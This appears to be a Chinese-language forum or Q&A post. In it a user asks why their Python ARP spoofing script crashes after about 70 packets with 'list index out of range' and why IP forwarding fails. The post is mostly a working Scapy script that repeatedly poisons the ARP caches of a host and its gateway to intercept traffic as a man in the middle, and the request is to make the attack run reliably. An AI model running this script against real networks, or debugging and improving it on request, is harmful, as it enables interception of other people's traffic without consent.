我被Python中的地址解析协议欺骗程序所困扰。我的代码仅发送70个数据包,然后显示错误“列表索引超出范围”,并且IP转发不起作用。
def getmac(ip):
arpreq = scapy.ARP(pdst=ip)
broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
arpbroad = broadcast/arpreq
ans = scapy.srp(arpbroad, timeout=1, verbose=False)[0]
return ans[0][1].hwsrc
def spoof(target,spoofip):
tarmac = getmac(target)
a = scapy.ARP(op=2, pdst=target, hwdst=tarmac, psrc=spoofip)
scapy.send(a)
count = 0
while True:
spoof("192.168.31.10", "192.168.31.1")
spoof("192.168.31.1", "192.168.31.10")
count = count+2
print("[+] Packets sent:"+str(count))
time.sleep(2)